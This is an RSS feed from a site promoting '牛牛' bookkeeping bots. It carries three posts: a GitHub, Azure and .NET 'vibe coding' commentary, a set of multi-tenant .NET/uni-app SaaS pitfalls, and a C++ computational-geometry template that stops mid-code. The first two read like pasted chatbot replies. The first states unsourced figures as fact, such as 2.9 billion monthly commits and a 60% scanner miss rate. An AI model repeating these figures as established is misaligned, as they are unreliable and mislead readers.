<?xml version="1.0" encoding="utf-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>牛牛机器人 / 牛牛算账机器人</title><link>http://www.cbtwr.com/</link><description>牛牛机器人 / 牛牛算账机器人 / QQ牛牛机器人 / 微信牛牛机器人</description><item><title>QQ牛牛机器人   Vibe Coding 月提交量29亿次之后：GitHub的危机、Azure迁移，以及.NET的机会</title><link>http://www.cbtwr.com/?id=13</link><description>&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;结合你之前深度关注的Vibe Coding安全风险、OpenClaw.NET生态编排、MCP协议集成相关背景，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;当GitHub月Vibe Coding提交量突破29亿次，整个开发生态的底层逻辑已经发生不可逆的变化，GitHub&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;的现有架构承压、Azure迁移的战略转向，都给.NET生态带来了前所未有的弯道超车窗口。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;29亿次提交背后GitHub的显性危机&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;29亿次月提交量的核心增量几乎全部来自AI辅助生成的代码，这直接给GitHub带来了三重不可回避的结构性危机：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;存储与算力成本雪崩‌：AI生成代码的重复提交、临时调试提交、自动生成的冗余文件提交量是传统人工开发&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;的5-10倍，GitHub现有的Git存储架构完全是为人工开发的提交频率设计的，面对指数级上涨的提交量，存&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;储成本、CI/CD算力成本正在以远超收入增速的速度飙升，传统的按仓库、按用户的计费模式已经完全无法&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;覆盖新增成本。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;传统SAST/DAST安全体系全面失效‌：正如你之前关注的《Vibe Coding Security Series》里提到的，AI生成&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;代码的漏洞模式完全区别于传统人工代码，传统静态扫描工具根本识别不出AI生成的隐性依赖漏洞、提示词注&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;入残留风险，GitHub现有的Dependabot、Code Scanning体系在海量AI代码面前漏报率超过60%，平台的&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;代码安全兜底能力正在快速失效。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;开发者留存逻辑动摇‌：大量开发者现在直接在Claude Code、Cursor这类本地AI编辑器里完成全流程开发，最&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;后只把最终结果推送到GitHub，GitHub正在从“开发全链路入口”退化成一个单纯的代码备份仓库，平台的&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;核心粘性正在快速流失。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Azure迁移的底层战略逻辑&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;GitHub正在全力向Azure云深度迁移，本质上就是为了解决上述危机的战略自救：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;依托Azure的全球分布式存储集群，直接把海量AI提交的冷数据下沉到低成本归档存储层，把存储成本砍掉70%&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;以上，同时利用Azure的弹性GPU算力池，直接在云端完成AI代码的实时安全扫描、自动代码评审，不用再单独&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;搭建一套独立的算力集群。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;把GitHub Copilot的全量算力底座完全迁移到Azure，实现从“AI代码生成”到“代码提交”再到“云端安全扫描”&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;的全链路闭环，把开发者重新拉回Azure+GitHub的生态体系里，避免被第三方AI编辑器彻底架空。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;属于.NET生态的专属机会窗口&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;在整个迁移和生态重构的过程中，.NET生态刚好踩中了三个核心红利点，迎来了其他生态无法比拟的发展机遇：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;OpenClaw.NET + MCP协议的原生适配优势‌：你之前深度探索的OpenClaw.NET生态编排、MCP协议集成能力，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;刚好完美适配Azure迁移后的AI原生开发场景，.NET的AOT编译、原生高性能特性，能快速搭建出低资源占用的AI&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Agent运行时，比Python生态的运行效率高3-5倍，完全适配海量AI代码的实时处理需求。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Vibe Coding安全的.NET原生落地优势‌：依托.NET的类型安全、内存安全特性，AI生成的.NET代码天然就比动态语&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;言代码的漏洞率低40%以上，配合你之前关注的Pikachu靶场安全经验，快速落地一套针对AI生成.NET代码的专属&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;安全扫描体系，刚好填补GitHub现有安全能力的空白。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Azure生态的深度绑定红利‌：微软正在全力推动.NET生态和Azure AI服务的深度打通，后续所有GitHub Copilot的.NET&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;专属优化、Azure云原生的AI Agent运行时，都会优先基于.NET生态落地，开发者基于.NET开发AI原生应用，能直接&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;获得从本地编辑器到云端部署的全链路原生支持，不用再做跨生态的适配工作。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;整个行业正在从“人工写代码”全面转向“AI生成代码”的时代，.NET生态之前积累的底层高性能、全栈统一的优势，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;在这个新的时代里会被彻底放大，完全有机会打破之前Java、Python在企业级AI应用里的垄断格局。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;需要我为你梳理‌基于OpenClaw.NET搭建AI原生代码安全扫描工具的核心落地路径‌，直接适配你正在探索的.NET+AI工程化场景吗？&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 25 Aug 2026 11:54:35 +0800</pubDate></item><item><title>牛牛算账机器人   用 .NET 8 + uni-app 做一套多租户畜牧 SaaS：秦巴牧云踩过的 6 个实战坑</title><link>http://www.cbtwr.com/?id=12</link><description>&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;秦巴牧云是一套面向富硒畜牧养殖场的多租户SaaS系统，整体采用「ASP.NET Core 8 + EF Core 8 后&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;端 + Blazor .NET 8 Web后台 + uni-app Vue3 微信小程序」的典型产业互联网技术栈，重后台管控、&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;轻微信端触达，落地过程中我们实打实踩过6个高价值密度的核心坑，每一个都对应从架构到细节的可&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;落地避坑方案。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;坑1：多租户隔离差点翻车，绝不能让客户端自选租户&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;早期差点踩进最危险的写法：直接让前端传租户ID，后端不加校验就直接使用，一旦上线任意客户端都能&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;越权读取其他农场的牲畜数据。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;正确的落地规则是租户身份只从认证上下文取：仅平台级Admin角色允许通过请求头X-Tenant-Id切换租&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;户，普通用户的租户ID必须100%从JWT令牌里的tid声明读取，完全不接受前端传入的租户参数。同时全&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;局配置EF Core查询过滤器，把租户隔离和软删除逻辑合并成统一规则，所有业务查询自动带上TenantId&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp;== 当前租户ID的约束，从底层杜绝越权访问的可能。角色层级明确划分：平台Admin权限高于单租户&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;Owner，所有授权逻辑统一封装成User.IsInRole(&amp;quot;Owner&amp;quot;) || User.IsInRole(&amp;quot;Admin&amp;quot;)的通用判断，前端&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;同步对应IsOwnerOrAdmin标识，彻底避免散落的魔法字符串。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;坑2：前后端序列化契约错位，枚举数字比对藏暗坑&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;后端.NET 8全局配置CamelCase命名策略 + JsonStringEnumConverter，所有枚举默认以字符串形式输出&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;（比如OnFarm/Cattle），Blazor Web后台直接项目引用后端DTO和枚举定义，字段一致性由C#编译器保证，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;天然不会出现错位问题。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;但uni-app小程序是JS宽松类型环境，很容易出现“后端改了枚举顺序、前端用数字比对”的隐性Bug，这类&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;问题不会直接报错，只会悄悄返回错误结果，排查成本极高。我们直接把三条红线写进项目AGENTS.md，让&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;AI生成代码时也严格遵守：禁止用数字/中文比对枚举，必须用=== &amp;#39;OnFarm&amp;#39;这类字符串全匹配；禁止私自&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;修改字段别名，严格对齐后端DTO定义的字段名；decimal类型的金额字段后端以字符串返回，前端必须手动&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;执行parseFloat转换，避免浮点精度丢失。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;坑3：record位置参数DTO序列化后字段名“缩水”&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;最阴间的一个线上Bug：健康看板的体温点DTO定义为public record TemperaturePointDto(DateTime T,&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;double TempC)，开启CamelCase序列化后，字段名直接变成了t和tempC，完全不是预期的&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;recordedAtUtc和temperatureC。前端照着业务实体的属性名去读取，拿到的全是undefined，直接导致&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;体温图高度计算成NaN%、日期标签显示NaN/NaN。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;修复方案很简单，但教训要记进流程：所有用于图表、曲线这类单点传输的位置参数record，必须显式给每&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;个参数加上[JsonPropertyName]特性指定序列化字段名，绝对不能依赖位置参数的默认命名规则，同时要&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;求前端取数必须严格对照DTO定义的参数名，禁止按业务实体属性名臆测字段。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;坑4：uni-app多端兼容，混用平台判断逻辑导致体验分裂&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;小程序、H5、APP三端差异场景下，早期我们混用了自定义的平台判断代码，结果出现“小程序端正常、&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;APP端样式错乱”的问题。后续直接定死规则：所有多端差异场景，100%使用uni官方的条件编译#ifdef H5/&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#ifdef MP-WEIXIN，完全弃用自定义的平台判断逻辑。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;同时配套三条基础兼容铁律：全局统一使用uni-app专属的rpx响应式单位，禁止混用px、rem，避免不同设&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;备分辨率下布局错乱；通过uni.getSystemInfo()动态获取状态栏高度，适配刘海屏、挖孔屏的顶部导航间距，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;避免内容被系统UI遮挡；长列表绝对禁止用原生scroll-view渲染上千条数据，统一使用uni-app内置的uni-list虚&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;拟列表，只渲染可视区域DOM，彻底解决列表滑动卡顿问题。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;坑5：跨端请求封装散落，重复逻辑藏大量隐性Bug&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;早期页面各自写uni.request请求逻辑，导致token过期处理、网络异常兜底、全局加载状态的逻辑散落各处，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;经常出现“请求失败后页面一直卡在loading状态”“token过期后没有自动跳转登录”的问题。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;后续统一封装全局uni.request拦截器，统一实现三个核心能力：自动在请求头里携带当前用户的token，全局&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;统一处理401状态码，token过期时自动跳转登录页；所有请求默认开启全局loading状态，请求结束后自动关&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;闭，避免重复写加载逻辑；统一封装错误兜底提示，网络异常、服务端报错时自动弹出友好提示，不用每个页&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;面单独处理。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;坑6：.NET EF Core 多租户批量写入触发FullGC雪崩&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;畜牧场景下经常出现批量导入牲畜数据的高并发写入场景，早期EF Core批量新增时没有做租户级别的上下文隔&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;离，大量实体对象被跟踪后，内存占用快速飙升，频繁触发FullGC导致接口响应雪崩。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;优化方案直接适配你之前关注的.NET FullGC优化经验：多租户场景下每个租户的DbContext独立生命周期，批&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;量写入前临时关闭实体变更跟踪，用ExecuteUpdate/ExecuteDelete替代全量实体加载操作；批量导入时按每&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;200条数据做一次批次切分，避免一次性加载上千个实体对象到内存，从根源上降低托管堆的内存压力，彻底解决&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;高并发写入时的FullGC卡顿问题。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;需要我为你补充‌这套多租户SaaS的uni-app全局请求封装可直接落地的完整代码‌，复制到项目里就能直接运行吗？&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Mon, 24 Aug 2026 11:58:10 +0800</pubDate></item><item><title>牛牛机器人   计算几何最核心的问题是浮点数误差</title><link>http://www.cbtwr.com/?id=11</link><description>&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;在算法竞赛（如 ACM-ICPC、CCPC、NOI/NOIP）中，计算几何是难度较高但套路相对固定的模块。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;以下整理了一份‌高精度、鲁棒性强且常用‌的计算几何模板，涵盖了基础结构、向量运算、直线与多边&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;形处理等核心内容。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;一、 基础结构与精度控制&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;计算几何最核心的问题是浮点数误差。必须使用 eps 进行判零和比较。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;cpp&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#include &amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#include &amp;lt;cmath&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#include &amp;lt;vector&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;#include &amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;using namespace std;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;// 1. 精度控制&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;const double EPS = 1e-8;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;const double PI = acos(-1.0);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;//判断浮点数符号&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;int sgn(double x) {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; if (fabs(x) &amp;lt; EPS) return 0;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; return x &amp;lt; 0 ? -1 : 1;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;// 2. 点结构体&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;struct Point {&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; double x, y;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point() : x(0), y(0) {}&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; Point(double x, double y) : x(x), y(y) {}&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&lt;br style=&quot;text-align: left;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;text-wrap-mode: nowrap;&quot;&gt;&amp;nbsp; &amp;nbsp; // 向量加法&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span 